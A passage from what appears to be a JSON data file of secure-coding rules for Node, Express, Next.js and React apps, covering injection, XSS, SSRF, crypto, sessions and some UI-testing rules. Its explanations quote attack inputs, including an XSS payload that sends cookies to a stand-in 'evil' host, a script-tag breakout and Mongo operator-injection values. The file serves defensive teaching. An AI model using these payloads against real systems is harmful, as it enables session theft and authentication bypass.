including prototype-pollution payloads. A non-strict schema accepts and discards unexpected fields, so neither over-posting attempts nor a drifting client contract ever surface. A naive recursive merge that walks `__proto__`/`constructor`/`prototype` keys mutates `Object.prototype`, so suddenly every object in the process appears to have `isAdmin: true` — classic prototype pollution (OWASP A08, Insecure Deserialization). Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Maps to OWASP A08:2021 Software & Data Integrity (Insecure Deserialization) and the Prototype Pollution cheat sheet. Zod `.strict()`, Joi `{ stripUnknown:false }`/`.unknown(false)`, and class-validator `forbidNonWhitelisted:true` all express this. Exceptions: Genuinely open-ended maps (e.g. user-defined metadata) can use a passthrough/record schema, but constrain the value type and key format and still strip/reject `__proto__`, `constructor`, and `prototype`.","whyItMatters":"A non-strict schema accepts and discards unexpected fields, so neither over-posting attempts nor a drifting client contract ever surface. A naive recursive merge that walks `__proto__`/`constructor`/`prototype` keys mutates `Object.prototype`, so suddenly every object in the process appears to have `isAdmin: true` — classic prototype pollution (OWASP A08, Insecure Deserialization).","priority":"p0","scope":"universal"},{"title":"Validate and coerce all request params, query and headers — not just the body","rule":"Route params, query strings and headers are untrusted and arrive untyped; parse and constrain them through a schema before use, and never assume a query value is a string.","apiRule":"Route params, query strings and headers are untrusted and arrive untyped; parse and constrain them through a schema before use, and never assume a query value is a string. Express parses `?status[$ne]=x` into a nested object, so a string-typed parameter can arrive as `{ $ne: 'x' }` and inject operators into a Mongo/NoSQL query (operator injection). Numeric params via `Number()` silently yield `NaN`, `0`, or absurd offsets. The TypeScript type `string` is a lie at the HTTP boundary — the runtime value can be an array or object. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Maps to OWASP A03:2021 Injection (incl. NoSQL operator injection) and the OWASP Input Validation / Mass Assignment cheat sheets. Pairs with using parameterized queries or a query-sanitizer like express-mongo-sanitize. Exceptions: Where supported, disabling rich query parsing globally (e.g. Express `query parser` set to 'simple') reduces the operator-injection surface, but you should still validate types and ranges per route.","whyItMatters":"Express parses `?status[$ne]=x` into a nested object, so a string-typed parameter can arrive as `{ $ne: 'x' }` and inject operators into a Mongo/NoSQL query (operator injection). Numeric params via `Number()` silently yield `NaN`, `0`, or absurd offsets. The TypeScript type `string` is a lie at the HTTP boundary — the runtime value can be an array or object.","priority":"p0","scope":"universal"},{"title":"Encrypt with authenticated AEAD and a unique nonce, never ECB or unauthenticated modes","rule":"Use AES-256-GCM/ChaCha20-Poly1305 with a fresh random nonce per message; never aes-*-ecb or MAC-less CBC.","apiRule":"Use AES-256-GCM/ChaCha20-Poly1305 with a fresh random nonce per message; never aes-*-ecb or MAC-less CBC. AES-ECB encrypts each block independently, so identical plaintext blocks produce identical ciphertext — structure and duplicates leak (the classic 'ECB penguin'). CBC fixes patterning but, without a MAC, ciphertext is malleable and vulnerable to padding-oracle attacks. A fixed/reused IV or nonce destroys the security of any mode. None of these detect tampering, so the system has no integrity guarantee. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Prefer a vetted high-level library (libsodium/sealedbox, AWS/GCP KMS, Tink) over hand-rolled primitives whenever possible — these examples are the floor, not the goal. For envelope encryption, generate a per-record data key and wrap it with a KMS key.","whyItMatters":"AES-ECB encrypts each block independently, so identical plaintext blocks produce identical ciphertext — structure and duplicates leak (the classic 'ECB penguin'). CBC fixes patterning but, without a MAC, ciphertext is malleable and vulnerable to padding-oracle attacks. A fixed/reused IV or nonce destroys the security of any mode. None of these detect tampering, so the system has no integrity guarantee.","priority":"p0","scope":"universal"},{"title":"Generate security tokens with a CSPRNG, never Math.random","rule":"Use crypto.randomBytes/randomUUID/getRandomValues for tokens, IDs, salts, nonces — never Math.random or timestamps.","apiRule":"Use crypto.randomBytes/randomUUID/getRandomValues for tokens, IDs, salts, nonces — never Math.random or timestamps. Math.random() is not cryptographically secure: its output is generated by a seeded, non-cryptographic algorithm (e.g. xorshift) whose internal state can be recovered from a few observed outputs, making future values predictable. Mixing in Date.now() adds almost no entropy because timestamps are guessable. Reset tokens, API keys, and session IDs built this way are brute-forceable or predictable. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Math.random is fine for non-security purposes: jitter/backoff, UI animation, sampling, test fixtures, picking a placeholder. The rule is about anything an attacker benefits from guessing.","whyItMatters":"Math.random() is not cryptographically secure: its output is generated by a seeded, non-cryptographic algorithm (e.g. xorshift) whose internal state can be recovered from a few observed outputs, making future values predictable. Mixing in Date.now() adds almost no entropy because timestamps are guessable. Reset tokens, API keys, and session IDs built this way are brute-forceable or predictable.","priority":"p0","scope":"universal"},{"title":"Validate redirect destinations against an allowlist; never redirect to raw user input","rule":"Server redirects and client navigations must validate the target against an allowlist or accept only same-origin relative paths — never redirect to an unchecked user-supplied URL.","apiRule":"Server redirects and client navigations must validate the target against an allowlist or accept only same-origin relative paths — never redirect to an unchecked user-supplied URL. Redirecting to an unvalidated parameter lets an attacker craft a link on your trusted domain that bounces victims to a phishing site, and on auth flows it can leak tokens/codes to an attacker-controlled host. Note //evil.example.com is treated as a protocol-relative absolute URL, not a path. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Maps to OWASP A01 / Unvalidated Redirects and Forwards Cheat Sheet. The same rule applies to client-side router.push(userValue) and window.location = userValue. Exceptions: If cross-domain redirects are a real requirement (e.g. SSO to known partners), validate the full target against an explicit allowlist of permitted external origins instead of allowing arbitrary hosts.","whyItMatters":"Redirecting to an unvalidated parameter lets an attacker craft a link on your trusted domain that bounces victims to a phishing site, and on auth flows it can leak tokens/codes to an attacker-controlled host. Note //evil.example.com is treated as a protocol-relative absolute URL, not a path.","priority":"p1","scope":"universal"},{"title":"Allow only http/https schemes and strip embedded credentials on outbound URLs","rule":"Reject any outbound URL whose protocol is not http/https, and refuse URLs carrying userinfo credentials before making the request.","apiRule":"Reject any outbound URL whose protocol is not http/https, and refuse URLs carrying userinfo credentials before making the request. Without a scheme check, dangerous protocols (file:, gopher:, ftp:, data:) reach the client and can read local files or speak to internal TCP services. Embedded userinfo both leaks secrets in logs and can confuse host parsing/comparison, helping bypass the host check. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. OWASP SSRF Cheat Sheet lists scheme restriction and credential stripping as baseline input validation for any URL that becomes a request. Exceptions: If a feature must support an additional scheme (e.g. data: URIs for inline images decoded in-process, never network-fetched), handle it on a separate, explicitly-reviewed path rather than widening the network fetch allowlist.","whyItMatters":"Without a scheme check, dangerous protocols (file:, gopher:, ftp:, data:) reach the client and can read local files or speak to internal TCP services. Embedded userinfo both leaks secrets in logs and can confuse host parsing/comparison, helping bypass the host check.","priority":"p1","scope":"universal"},{"title":"Disable or re-validate redirects on outbound requests to user-influenced hosts","rule":"Set redirect: 'manual' (or maxRedirects: 0) on validated outbound fetches and re-apply allowlist/IP checks to each redirect Location before following.","apiRule":"Set redirect: 'manual' (or maxRedirects: 0) on validated outbound fetches and re-apply allowlist/IP checks to each redirect Location before following. Validating only the initial URL is bypassed when the client auto-follows redirects: a permitted (or attacker-controlled) endpoint returns a 3xx pointing at an internal address, and the validated check never runs again on the new target. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. axios maxRedirects: 0, got followRedirect: false, and native fetch redirect: 'manual' are the equivalent switches. Exceptions: Calls to fixed, fully-trusted first-party upstreams (your own gateway) may follow redirects normally. The manual-validation requirement applies whenever the host is user-influenced or the upstream is third-party.","whyItMatters":"Validating only the initial URL is bypassed when the client auto-follows redirects: a permitted (or attacker-controlled) endpoint returns a 3xx pointing at an internal address, and the validated check never runs again on the new target.","priority":"p0","scope":"universal"},{"title":"Block private, loopback, link-local and metadata IP ranges on user-supplied fetch targets","rule":"Before fetching a user-controlled URL, resolve the host and reject private/loopback/link-local/CGN/metadata IPs — pin the connection to the validated IP.","apiRule":"Before fetching a user-controlled URL, resolve the host and reject private/loopback/link-local/CGN/metadata IPs — pin the connection to the validated IP. Filtering on the hostname string is ineffective: attackers use DNS records pointing at internal IPs, decimal/hex/IPv6 encodings, and other representations that the blocklist never enumerates. The request still lands on the metadata service or loopback. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Per OWASP, also cover the cloud metadata endpoint 169.254.169.254 (and fd00:ec2::254 on AWS IMDSv2 over IPv6); prefer IMDSv2/disable IMDS where possible. Exceptions: Internal service-to-service tooling that intentionally targets private ranges is exempt, but it should still authenticate the upstream and not accept the target from end-user input.","whyItMatters":"Filtering on the hostname string is ineffective: attackers use DNS records pointing at internal IPs, decimal/hex/IPv6 encodings, and other representations that the blocklist never enumerates. The request still lands on the metadata service or loopback.","priority":"p0","scope":"universal"},{"title":"Escape JSON state embedded in inline <script> tags","rule":"When injecting server state into an inline script (SSR hydration, config), use an XSS-safe serializer or data attributes; raw JSON.stringify can be broken out of with </script>.","apiRule":"When injecting server state into an inline script (SSR hydration, config), use an XSS-safe serializer or data attributes; raw JSON.stringify can be broken out of with </script>. Inside a <script> the HTML parser still scans for </script>. If any string in state contains </script><script>alert(1)</script>, JSON.stringify happily preserves it and the injected script runs. JSON.stringify is not an HTML/script-context encoder — it does not escape <, >, or the closing-tag sequence. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Covered by the OWASP XSS Prevention Cheat Sheet rule on JavaScript and JSON contexts; the </script> and U+2028/U+2029 cases are the usual breakouts. Exceptions: Using a framework's built-in hydration mechanism (Next.js __NEXT_DATA__, Remix) is already safe — this rule targets hand-written inline script injection. Numeric/boolean-only state without strings is lower risk but still better serialized safely.","whyItMatters":"Inside a <script> the HTML parser still scans for </script>. If any string in state contains </script><script>alert(1)</script>, JSON.stringify happily preserves it and the injected script runs. JSON.stringify is not an HTML/script-context encoder — it does not escape <, >, or the closing-tag sequence.","priority":"p0","scope":"universal"},{"title":"HTML-encode user data in hand-built server responses","rule":"When Express/Nest handlers emit HTML by string concatenation, encode interpolated request data and set a correct Content-Type to prevent reflected XSS and content sniffing.","apiRule":"When Express/Nest handlers emit HTML by string concatenation, encode interpolated request data and set a correct Content-Type to prevent reflected XSS and content sniffing. req.query.q is reflected straight into the markup. A request like /search?q=<script>document.location='//evil/'+document.cookie</script> runs in the victim's browser. Error handlers that echo request fields are an especially common and overlooked reflected-XSS vector. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Pair with the X-Content-Type-Options: nosniff header (e.g. via helmet) so a wrong/missing Content-Type cannot be reinterpreted as HTML. Exceptions: Fully static HTML with no request-derived data needs no per-value encoding. JSON API responses should not emit HTML at all — return data and encode in the rendering client.","whyItMatters":"req.query.q is reflected straight into the markup. A request like /search?q=<script>document.location='//evil/'+document.cookie</script> runs in the victim's browser. Error handlers that echo request fields are an especially common and overlooked reflected-XSS vector.","priority":"p0","scope":"universal"},{"title":"Allowlist URL schemes for href/src and navigation sinks","rule":"Validate user-controlled URLs against a scheme allowlist (http/https) before binding them to href, src, or location to block javascript:/data: XSS.","apiRule":"Validate user-controlled URLs against a scheme allowlist (http/https) before binding them to href, src, or location to block javascript:/data: XSS. React escapes text but does not validate URL schemes. A value of javascript:fetch('/api/keys').then(...) in href executes on click; the same goes for data: documents. Assigning an unvalidated value to window.location enables both DOM-XSS (javascript:) and open redirects to phishing domains. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. The same scheme check applies to img/iframe/source src, form action, and CSS url(). Covered by OWASP DOM-based XSS Prevention Cheat Sheet. Exceptions: URLs that are fully constructed server-side from trusted data don't need client validation, but validating cheaply is still good defense in depth. Add mailto:/tel: to the allowlist only where those links are actually expected.","whyItMatters":"React escapes text but does not validate URL schemes. A value of javascript:fetch('/api/keys').then(...) in href executes on click; the same goes for data: documents. Assigning an unvalidated value to window.location enables both DOM-XSS (javascript:) and open redirects to phishing domains.","priority":"p0","scope":"universal"},{"title":"Encode output for its exact sink context","rule":"Apply the encoding that matches the destination context (HTML body, attribute, JS, URL, CSS); a single generic escape is not safe across all sinks.","apiRule":"Apply the encoding that matches the destination context (HTML body, attribute, JS, URL, CSS); a single generic escape is not safe across all sinks. HTML-entity escaping only neutralizes the HTML body context. In the href, escapeHtml does nothing against javascript:alert(1). In the onclick (JS context), a value like ');alert(1)// breaks out of the string because '/) are not handled. Using one escaper for every context leaves multiple sinks exploitable. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. OWASP XSS Prevention Cheat Sheet defines the canonical encoding rules per context; ASVS V5 requires context-aware output encoding at the sink. Exceptions: Trusted, fully static literals need no encoding. Frameworks with built-in contextual auto-escaping (React JSX text, Angular interpolation) handle the HTML body context for you — the rule still applies to attributes, URLs, and JS where they don't.","whyItMatters":"HTML-entity escaping only neutralizes the HTML body context. In the href, escapeHtml does nothing against javascript:alert(1). In the onclick (JS context), a value like ');alert(1)// breaks out of the string because '/) are not handled. Using one escaper for every context leaves multiple sinks exploitable.","priority":"p0","scope":"universal"},{"title":"Coerce and validate types to prevent NoSQL operator injection","rule":"Never feed raw request objects into Mongo/NoSQL filters — enforce scalar types so query operators ($ne, $gt, $where) can't be injected.","apiRule":"Never feed raw request objects into Mongo/NoSQL filters — enforce scalar types so query operators ($ne, $gt, $where) can't be injected. JSON request bodies can carry objects, so a field expected to be a string can arrive as { $ne: null } or { $gt: '' }. Passed straight into findOne, these become MongoDB query operators that bypass the intended match — classic NoSQL injection / auth bypass. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Same principle for query strings: arrays/objects can appear in req.query (?password[$ne]=). Validate query params too. Exceptions: When you intentionally accept operator-based filtering from clients, restrict to an explicit allow-list of fields and operators and reject the $where/$function operators (which evaluate JS) entirely. Sanitizing middleware (e.g. express-mongo-sanitize) is defense in depth, not a substitute for typed validation.","whyItMatters":"JSON request bodies can carry objects, so a field expected to be a string can arrive as { $ne: null } or { $gt: '' }. Passed straight into findOne, these become MongoDB query operators that bypass the intended match — classic NoSQL injection / auth bypass.","priority":"p0","scope":"universal"},{"title":"Run external commands with argument arrays, never an interpolated shell string","rule":"Use execFile/spawn with shell:false and an args array; never build a shell command string from input.","apiRule":"Use execFile/spawn with shell:false and an args array; never build a shell command string from input. exec() runs the command through /bin/sh, so shell metacharacters (; | && $() ` >) in the input are interpreted as shell syntax. An attacker controlling `file` achieves remote code execution on the server. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also applies to higher-level wrappers (execa, zx): use the array/tagged form, not a single interpolated string. Exceptions: If you genuinely need shell features (pipes, globbing), keep shell:true but pass zero tainted data — build the command only from constants, or prefer a library binding instead of shelling out. Prefixing a value with '--' does not make shell:true safe.","whyItMatters":"exec() runs the command through /bin/sh, so shell metacharacters (; | && $() ` >) in the input are interpreted as shell syntax. An attacker controlling `file` achieves remote code execution on the server.","priority":"p0","scope":"universal"},{"title":"Allow-list dynamic SQL identifiers and sort direction","rule":"Table/column names and ASC/DESC are not bindable — map user choices through a fixed allow-list, never interpolate them.","apiRule":"Table/column names and ASC/DESC are not bindable — map user choices through a fixed allow-list, never interpolate them. Column names and sort direction can't be passed as bound parameters, so this code interpolates them. An attacker can inject subqueries in the ORDER BY clause to enumerate data (blind injection) even when the WHERE values are parameterized. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: None for input-derived identifiers — there is no safe escaping alternative. If the set of valid columns is large, generate the allow-list from your schema/model metadata rather than from request data.","whyItMatters":"Column names and sort direction can't be passed as bound parameters, so this code interpolates them. An attacker can inject subqueries in the ORDER BY clause to enumerate data (blind injection) even when the WHERE values are parameterized.","priority":"p0","scope":"universal"},{"title":"Use parameterized raw queries in ORMs; avoid the *Unsafe escape hatches with input","rule":"Raw/escape-hatch ORM methods must receive bindings, not interpolated input — prefer $queryRaw tagged templates over $queryRawUnsafe.","apiRule":"Raw/escape-hatch ORM methods must receive bindings, not interpolated input — prefer $queryRaw tagged templates over $queryRawUnsafe. Each call drops to raw SQL with the input concatenated in. $queryRawUnsafe, knex.raw with interpolation, TypeORM query(), and Sequelize query() without replacements all bypass the ORM's normal parameterization and are directly injectable. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. A useful lint signal: ban the literal substring 'RawUnsafe' and template literals inside knex.raw/query() in code review. Exceptions: $queryRawUnsafe / knex.raw with interpolation are acceptable only for fully static SQL with no runtime values, or for dynamic identifiers validated against an allow-list (not bindable). Document why the unsafe variant is used.","whyItMatters":"Each call drops to raw SQL with the input concatenated in. $queryRawUnsafe, knex.raw with interpolation, TypeORM query(), and Sequelize query() without replacements all bypass the ORM's normal parameterization and are directly injectable.","priority":"p0","scope":"universal"},{"title":"Parameterize SQL queries; never string-build them from input","rule":"Pass user-controlled values as bound parameters (placeholders), never via string concatenation or template literals.","apiRule":"Pass user-controlled values as bound parameters (placeholders), never via string concatenation or template literals. The value from req.query is interpolated directly into the SQL string, so an attacker can break out of the quoted literal and inject arbitrary SQL (auth bypass, data exfiltration, table drops). No amount of quoting or escaping by hand is reliable. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Applies to every driver and query builder: pg, mysql2, better-sqlite3, and ORM raw/escape-hatch methods. The goal is binding values, not escaping them yourself. Exceptions: Placeholders cannot bind identifiers (table/column names) or SQL keywords like ASC/DESC. When those must be dynamic, validate against a fixed allow-list of known-good values and map to literals — never pass them through from input. See the separate identifier allow-list rule.","whyItMatters":"The value from req.query is interpolated directly into the SQL string, so an attacker can break out of the quoted literal and inject arbitrary SQL (auth bypass, data exfiltration, table drops). No amount of quoting or escaping by hand is reliable.","priority":"p0","scope":"universal"},{"title":"Re-check authorization inside Next.js server actions and RSC data loads","rule":"Server actions and server-component data fetches are directly invokable endpoints. Perform the session and object-level authorization check inside them, not solely in middleware or a parent layout.","apiRule":"Server actions and server-component data fetches are directly invokable endpoints. Perform the session and object-level authorization check inside them, not solely in middleware or a parent layout. Layouts and middleware do not reliably gate server actions — an action is its own POST endpoint that an attacker can invoke directly with a crafted request, bypassing any UI navigation through the layout. With no session or ownership check inside the action, anyone can rename any portfolio by id. The same applies to data fetched in server components. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Next.js middleware is fine for coarse, defense-in-depth gating (redirect unauthenticated users, attach headers) but must never be the only authorization layer; matcher gaps and the fact that middleware can be bypassed for certain invocation paths make it insufficient on its own. Keep the authoritative check next to the data access.","whyItMatters":"Layouts and middleware do not reliably gate server actions — an action is its own POST endpoint that an attacker can invoke directly with a crafted request, bypassing any UI navigation through the layout. With no session or ownership check inside the action, anyone can rename any portfolio by id. The same applies to data fetched in server components.","priority":"p1","scope":"stack-specific"},{"title":"Derive identity, role, and ownership from the session — never from client input","rule":"Take userId/role/tenant/ownership exclusively from the authenticated session or token. Ignore (or strictly validate against the session) any such fields sent in the request body, query, or headers.","apiRule":"Take userId/role/tenant/ownership exclusively from the authenticated session or token. Ignore (or strictly validate against the session) any such fields sent in the request body, query, or headers. Spreading `req.body` into a create/update lets the caller set `ownerId` (claim another user's resource), `role` ('admin'), or `accountId` (cross-tenant). This is mass assignment / over-posting and is a direct privilege-escalation and IDOR vector. The server is treating client-provided identity fields as authoritative. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: An admin endpoint may legitimately set another user's role or ownerId — but only after a server-side check that the caller holds that admin privilege, and ideally through a separate, explicitly-named endpoint (e.g. POST /admin/users/:id/role) rather than a general update that accepts arbitrary fields.","whyItMatters":"Spreading `req.body` into a create/update lets the caller set `ownerId` (claim another user's resource), `role` ('admin'), or `accountId` (cross-tenant). This is mass assignment / over-posting and is a direct privilege-escalation and IDOR vector. The server is treating client-provided identity fields as authoritative.","priority":"p0","scope":"universal"},{"title":"Don't store auth tokens in localStorage/sessionStorage; use HttpOnly cookies","rule":"Browser-accessible storage (localStorage/sessionStorage/JS memory) for session or refresh tokens is XSS-exfiltratable; keep them in HttpOnly cookies.","apiRule":"Browser-accessible storage (localStorage/sessionStorage/JS memory) for session or refresh tokens is XSS-exfiltratable; keep them in HttpOnly cookies. localStorage is fully readable by JavaScript, so a single XSS payload or a compromised npm dependency can exfiltrate the token and impersonate the user from anywhere. Persisting a long-lived bearer token in web storage turns any script execution on the origin into full account takeover. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This is the frontend counterpart to the cookie-attributes rule; together they keep the session out of JS reach end to end. Exceptions: If your architecture genuinely requires bearer tokens in JS (e.g. a cross-origin API you don't control), keep the access token short-lived and in memory only (not localStorage), keep the refresh token in an HttpOnly cookie, and rely on a strict CSP to reduce XSS reach. Cookie-based sessions still require CSRF protection (SameSite + token).","whyItMatters":"localStorage is fully readable by JavaScript, so a single XSS payload or a compromised npm dependency can exfiltrate the token and impersonate the user from anywhere. Persisting a long-lived bearer token in web storage turns any script execution on the origin into full account takeover.","priority":"p1","scope":"universal"},{"title":"Regenerate the session ID on login/logout to prevent session fixation","rule":"Rotate the session identifier on authentication and privilege elevation, and destroy it on logout; never reuse a pre-auth session ID.","apiRule":"Rotate the session identifier on authentication and privilege elevation, and destroy it on logout; never reuse a pre-auth session ID. The authenticated state is attached to the session ID the client already had. An attacker who planted/knew that ID before login (session fixation) now holds a valid authenticated session. Logout that only clears userId leaves the session ID usable, so a captured cookie still works. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. In NestJS/passport the same applies: call req.session.regenerate inside the login handler before persisting the user. Exceptions: Stateless JWT auth has no server session to regenerate; the equivalent is issuing a brand-new token on login and invalidating the old one (rotate refresh tokens, bump a token version/jti, or use a short-lived access token). The principle — never carry a credential identifier across a privilege boundary — still holds.","whyItMatters":"The authenticated state is attached to the session ID the client already had. An attacker who planted/knew that ID before login (session fixation) now holds a valid authenticated session. Logout that only clears userId leaves the session ID usable, so a captured cookie still works.","priority":"p0","scope":"universal"},{"title":"Store passwords with a salted, memory-hard hash (argon2id/bcrypt), never a fast hash","rule":"Use argon2id or bcrypt with built-in per-password salting; never MD5/SHA-1/SHA-256, plaintext, or reversible encryption for passwords.","apiRule":"Use argon2id or bcrypt with built-in per-password salting; never MD5/SHA-1/SHA-256, plaintext, or reversible encryption for passwords. SHA-256 is a fast hash designed for throughput, so a leaked database is cracked at billions of guesses per second; with no per-password salt, identical passwords collide and rainbow tables apply. The === comparison also short-circuits, leaking timing. This is plaintext-equivalent security. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Re-hash on next successful login when you raise cost parameters; store the algorithm version alongside the hash to enable migration. Exceptions: PBKDF2-HMAC-SHA256 with a high iteration count is acceptable only when a FIPS-validated algorithm is mandated. Pre-hash with HMAC if you must support passwords longer than bcrypt's 72-byte limit. High-entropy machine secrets (API keys, random tokens) don't need a slow KDF and may use SHA-256.","whyItMatters":"SHA-256 is a fast hash designed for throughput, so a leaked database is cracked at billions of guesses per second; with no per-password salt, identical passwords collide and rainbow tables apply. The === comparison also short-circuits, leaking timing. This is plaintext-equivalent security.","priority":"p0","scope":"universal"},{"title":"Set HttpOnly, Secure, and SameSite on every session/auth cookie","rule":"Cookies that carry a session ID or auth token must be HttpOnly + Secure + SameSite with a constrained scope, not framework defaults.","apiRule":"Cookies that carry a session ID or auth token must be HttpOnly + Secure + SameSite with a constrained scope, not framework defaults. Without Secure the cookie is sent over plain HTTP and can be sniffed; without an explicit SameSite it is exposed to CSRF on cross-site requests; a bare res.cookie() is also readable by JavaScript, so any XSS steals the session. Relying on defaults is fragile because they differ across frameworks and versions. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. On Next.js Route Handlers / Server Actions use cookies().set with the same options object; the attribute names are identical. Exceptions: Use sameSite:'none' (always with secure:true) only when the cookie genuinely must travel cross-site (e.g. embedded SSO). In local development over http you may relax secure behind an env check, but never ship secure:false. Non-auth, deliberately client-readable cookies (e.g. a theme preference) are out of scope.","whyItMatters":"Without Secure the cookie is sent over plain HTTP and can be sniffed; without an explicit SameSite it is exposed to CSRF on cross-site requests; a bare res.cookie() is also readable by JavaScript, so any XSS steals the session. Relying on defaults is fragile because they differ across frameworks and versions.","priority":"p0","scope":"universal"},{"title":"Generate repeated async hooks from a typed factory instead of copying boilerplate","rule":"When several hooks share the same fetch/map/error lifecycle, expose a generic `createXHook(config)` factory and define each concrete hook as a small typed config object.","apiRule":"When several hooks share the same fetch/map/error lifecycle, expose a generic `createXHook(config)` factory and define each concrete hook as a small typed config object. Each hand-rolled search hook re-implements the same lifecycle: build the URL, check `res.ok`, parse, map, set error. They drift — one debounces, one aborts stale requests, one forgets error handling — and fixing a bug means editing N copies. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Pairs well with the boundary-validation rule: the `mapResponse` passed in is exactly the `unknown -> Row[]` guard. Exceptions: Don't pre-build the factory for a single hook — extract it on the second or third near-duplicate, when the shared shape is actually proven.","whyItMatters":"Each hand-rolled search hook re-implements the same lifecycle: build the URL, check `res.ok`, parse, map, set error. They drift — one debounces, one aborts stale requests, one forgets error handling — and fixing a bug means editing N copies.","priority":"p2","scope":"stack-specific"},{"title":"Don't wrap a call in try/catch when the layer below already normalizes failures","rule":"Remove a try/catch when the underlying wrapper already absorbs errors into a safe value, so the catch is unreachable dead code.","apiRule":"Remove a try/catch when the underlying wrapper already absorbs errors into a safe value, so the catch is unreachable dead code. If the service is contractually safe (resolves to `[]`/`null`, never rejects), the catch is unreachable. It adds noise, falsely implies the call can throw, and the dead 500 branch can mask the real contract from the next reader. Dead error paths also defeat coverage. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Verify the contract before deleting — read the wrapper to confirm it really swallows errors rather than assuming it does. Exceptions: Keep the try/catch if the call genuinely can throw (synchronous parsing, a wrapper that rethrows, JSON.parse on the result), or if you need to translate a thrown error into a domain-specific response.","whyItMatters":"If the service is contractually safe (resolves to `[]`/`null`, never rejects), the catch is unreachable. It adds noise, falsely implies the call can throw, and the dead 500 branch can mask the real contract from the next reader. Dead error paths also defeat coverage.","priority":"p2","scope":"universal"},{"title":"Match structured IDs via a canonical identity helper, not raw equality","rule":"Parse structured domain identifiers by anchoring on a structural marker (known prefix/delimiter) rather than length/position guessing, normalize both sides to a canonical identity, and compare those — so values differing only in insignificant segments still match.","apiRule":"Parse structured domain identifiers by anchoring on a structural marker (known prefix/delimiter) rather than length/position guessing, normalize both sides to a canonical identity, and compare those — so values differing only in insignificant segments still match. Guessing structure from segment count is brittle: any key whose format changes by one segment is mis-parsed, and 'FIA-818-X' is silently read wrong. Comparing raw keys means two values that are the same plan but differ in irrelevant segments (type, suffix, casing) won't match. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Pair the helper with table-style unit tests that lock in the significant-vs-ignored segment semantics (same identity across differing TYPE/SUFFIX; distinct identity for a different campaign number; bare form unchanged).","whyItMatters":"Guessing structure from segment count is brittle: any key whose format changes by one segment is mis-parsed, and 'FIA-818-X' is silently read wrong. Comparing raw keys means two values that are the same plan but differ in irrelevant segments (type, suffix, casing) won't match.","priority":"p2","scope":"universal"},{"title":"Test SSE by streaming events through an MSW ReadableStream controller","rule":"Mock the SSE endpoint with MSW returning an open ReadableStream, capture its controller, and enqueue 'data:' frames mid-test to drive a real EventSource.","apiRule":"Mock the SSE endpoint with MSW returning an open ReadableStream, capture its controller, and enqueue 'data:' frames mid-test to drive a real EventSource. Stubbing EventSource with a fake object means the real EventSource wire-format parsing, onopen/onerror lifecycle, and connection teardown are never exercised. The test passes against your mock's behaviour rather than the browser's, so frame-formatting or lifecycle bugs slip through. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Pair with expect.poll to wait for the connection before pushing. To test the error/fallback path, override the same handler to return status 503.","whyItMatters":"Stubbing EventSource with a fake object means the real EventSource wire-format parsing, onopen/onerror lifecycle, and connection teardown are never exercised. The test passes against your mock's behaviour rather than the browser's, so frame-formatting or lifecycle bugs slip through.","priority":"p2","scope":"universal"},{"title":"Gate 'seen-by-user' timers on both viewport and tab visibility","rule":"A countdown that should only run while the user is actually looking must check IntersectionObserver AND document.visibilityState, and restart on tab refocus since IO won't re-fire.","apiRule":"A countdown that should only run while the user is actually looking must check IntersectionObserver AND document.visibilityState, and restart on tab refocus since IO won't re-fire. IntersectionObserver only reports geometry; an element fully in a backgrounded tab is still 'intersecting', so a pure-IO timer counts time the user never spent looking. IO also fires multiple times (resize, layout shift, threshold jitter); without clearing first you stack duplicate timers and fire several times. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Same shape applies to impression/analytics 'viewability' tracking and auto-dismiss toasts. Keep an isIntersecting ref so the visibilitychange handler can decide whether to restart.","whyItMatters":"IntersectionObserver only reports geometry; an element fully in a backgrounded tab is still 'intersecting', so a pure-IO timer counts time the user never spent looking. IO also fires multiple times (resize, layout shift, threshold jitter); without clearing first you stack duplicate timers and fire several times.","priority":"p2","scope":"universal"},{"title":"Pair a streaming channel with declarative polling + reconnect fallback","rule":"On SSE/WebSocket error, flip a failed flag that declaratively drives both a polling interval and a reconnect-retry interval; reopening the stream clears it.","apiRule":"On SSE/WebSocket error, flip a failed flag that declaratively drives both a polling interval and a reconnect-retry interval; reopening the stream clears it. A streaming connection is the unreliable part of the system — proxies time out, networks drop, the server restarts. Closing on error with no fallback means the UI freezes on the last payload with no recovery and no fresh data. Hand-rolled imperative reconnection (nested setTimeouts inside onerror) tends to leak timers and double-connect. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Works the same for WebSocket. Keep the connection handle in a ref and null it on error so the retry interval can detect 'no live connection' and only then reconnect.","whyItMatters":"A streaming 